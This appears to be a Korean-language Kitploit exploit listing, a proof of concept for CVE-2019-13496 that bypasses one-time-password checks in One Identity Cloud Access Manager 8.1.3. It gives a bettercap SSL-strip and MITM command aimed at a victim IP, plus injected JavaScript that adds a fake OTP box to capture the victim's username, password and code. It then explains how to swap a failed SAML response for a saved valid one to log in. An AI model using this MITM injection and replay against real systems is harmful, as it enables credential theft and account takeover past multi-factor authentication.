CVE-2019-13496 — One Identity Cloud Access Manager 8.1.3에서 MITM/SSL-strip, SAML 응답 재전송, 주입된 JavaScript를 통해 자격 증명을 캡처하여 OTP 우회를 시연하는 개념 증명 익스플로잇. | Kitploit
도구 / GitHub / furqankhan1 / cve-2019-13496
furqankhan1/cve-2019-13496 CVE-2019-13496 One Identity Cloud Access Manager 8.1.3에서 MITM/SSL-strip, SAML 응답 재전송, 주입된 JavaScript를 통해 자격 증명을 캡처하여 OTP 우회를 시연하는 개념 증명 익스플로잇.
2 2 51 6년 전커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.
지난 7일 지난 30일
CVE-2019-13496
익스플로잇 제목: OTP 우회 (파일 무결성 검사 실패)
날짜: 07/10/2019
익스플로잇 작성자: Furqan Khan
공급업체 홈페이지: https://www.oneidentity.com/
소프트웨어 링크: https://www.oneidentity.com/products/cloud-access-manager/
버전: 8.1.3
테스트 환경: Kali Linux , Windows 7 ,Ubantu 16.04
OTP 우회 취약점을 악용하기 위해 공격자는 이전에 발견된 MITM/SSL-Strip 취약점 , 을 활용합니다. 공격자는 MITM/SSL 스트립 공격을 수행하여 피해자에게 제공되는 웹 페이지에 OTP 텍스트 상자를 삽입할 수 있습니다. 피해자는 자신의 사용자 이름, 비밀번호 및 동일한 공급업체가 소유한 defender라는 앱에서 생성된 OTP를 공유합니다. 공격자는 사용자 이름, 비밀번호 및 OTP를 가로챈 후 합법적인 워크플로를 통해 애플리케이션에 액세스하려고 시도합니다. 도난당한 사용자 이름과 비밀번호를 입력한 후, 공격자는 다음 페이지에서 도난당한 OTP를 입력합니다. OTP 페이지에서 요청을 제출할 때 서명된 SAML 응답이 저장됩니다. 이제 공격자가 OTP를 생성하는 앱에 액세스할 수 없더라도, 연속적인 트랜잭션에 대해 유효하지 않은 OTP를 입력할 수 있으며, 애플리케이션이 OTP를 무효화하는 동안 공격자는 실패한 SAML 응답을 이전에 획득한 합법적인 SAML 응답으로 교체할 수 있습니다. 애플리케이션은 무결성 검사를 수행하지 못하고 공격자를 로그인시킵니다.
(1) 공격의 첫 번째 단계는 MITM/SSL-Strip을 수행하는 것으로, 이는 CVE-2019-13498 에 설명되어 있으며, 아래와 같이 명시됩니다:
사용된 bettercap 명령어는 다음과 같습니다:
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js 여기서 192.168.1.103은 피해자의 IP 주소입니다. 이를 모르는 경우 bettercap을 사용하여 전체 LAN(공격자와 피해자의 공통 네트워크)의 콘텐츠를 스니핑하고 조작할 수 있습니다.
inject_js.js의 내용은 다음과 같습니다 <script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
이제 피해자가 제품(Cloud Access Manager)을 탐색할 때, 캐시 중독 및 SSL 스트립(Bettercap)으로 인해 주입된 JavaScript 스니펫을 통해 피해자에게 제공되는 페이지에 OTP 텍스트 상자가 삽입됩니다.
연결이 SSL-스트립을 통해 http로 다운그레이드되었으므로, 이제 모든 트래픽이 공격자에게 표시됩니다. 따라서 트래픽을 가로채서 피해자가 제출한 사용자 이름, 비밀번호 및 OTP를 볼 수 있습니다.
이제 저장된 자격 증명으로 한 번 로그인했고 모든 유효한 요청과 응답을 저장했다고 가정해 보겠습니다.
이 섹션에서는 이전에 저장된 OTP 응답을 사용하여 OTP 검증을 우회하고 애플리케이션에 로그인하는 방법을 배웁니다.
아래와 같이 유효하지 않은 OTP를 입력해 보겠습니다:
아래는 OTP 검증에 실패하는 응답입니다.
실패한 응답을 이전에 저장된 합법적인 응답으로 교체합니다.
아래는 OTP 검증에 실패하는 SAML 응답입니다.
실패한 응답을 이전에 저장된 합법적인 SAML 응답으로 교체합니다.
빙고, 애플리케이션이 우리를 로그인시킵니다. 이상적으로는 무결성 검사를 수행하고 OTP가 만료되었음을 감지했어야 합니다.